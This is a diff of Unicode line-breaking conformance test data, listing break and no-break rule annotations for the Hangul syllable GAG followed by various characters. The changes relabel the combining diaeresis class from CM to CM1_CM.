-× AC01 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× AC01 × 0308 × 007D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× AC01 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× AC01 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× AC01 × 0020 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× AC01 × 0308 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× AC01 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× AC01 × 0001 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× AC01 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× AC01 × 0308 × 0001 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× AC01 × 0308 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× AC01 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× AC01 × 000D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× AC01 × 0020 × 000D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× AC01 × 0308 × 000D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× AC01 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× AC01 × 0308 × 000D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× AC01 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× AC01 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× AC01 × 0020 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× AC01 × 0308 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× AC01 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× AC01 × 0308 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× AC01 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× AC01 × 00A0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× AC01 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× AC01 × 0308 × 00A0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× AC01 × 0308 × 00A0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× AC01 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× AC01 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× AC01 × 0308 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× AC01 × 0308 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× AC01 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× AC01 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× AC01 × 0308 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× AC01 × 0308 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× AC01 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× AC01 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× AC01 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× AC01 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× AC01 × 002D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× AC01 × 0020 ÷ 002D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× AC01 × 0308 × 002D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× AC01 × 0308 × 002D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× AC01 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] WATCH (ID) ÷ [0.3]
× AC01 × 0020 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× AC01 × 0308 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× AC01 × 0308 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× AC01 × 2024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
× AC01 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× AC01 × 0308 × 2024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× AC01 × 0308 × 2024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× AC01 × 002C ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [13.02] COMMA (IS) ÷ [0.3]
× AC01 × 0020 × 002C ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× AC01 × 0308 × 002C ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× AC01 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× AC01 × 0308 × 002C ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× AC01 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× AC01 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× AC01 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× AC01 × 0308 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× AC01 × 0308 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× AC01 × 11A8 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [26.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× AC01 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× AC01 × 0308 × 11A8 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [26.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× AC01 × 0308 × 11A8 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× AC01 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× AC01 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× AC01 × 0308 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× AC01 × 0308 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× AC01 × 000A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× AC01 × 0020 × 000A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× AC01 × 0308 × 000A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× AC01 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× AC01 × 0308 × 000A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× AC01 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× AC01 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× AC01 × 0020 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× AC01 × 0308 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× AC01 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× AC01 × 0308 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× AC01 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× AC01 × 17D6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× AC01 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× AC01 × 0308 × 17D6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× AC01 × 0308 × 17D6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× AC01 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× AC01 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× AC01 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× AC01 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× AC01 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× AC01 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× AC01 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× AC01 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× AC01 × 0025 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
× AC01 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× AC01 × 0308 × 0025 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× AC01 × 0308 × 0025 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× AC01 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× AC01 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× AC01 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× AC01 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× AC01 × 0022 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× AC01 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× AC01 × 0308 × 0022 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× AC01 × 0308 × 0022 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× AC01 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [0.3]
× AC01 × 0020 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× AC01 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
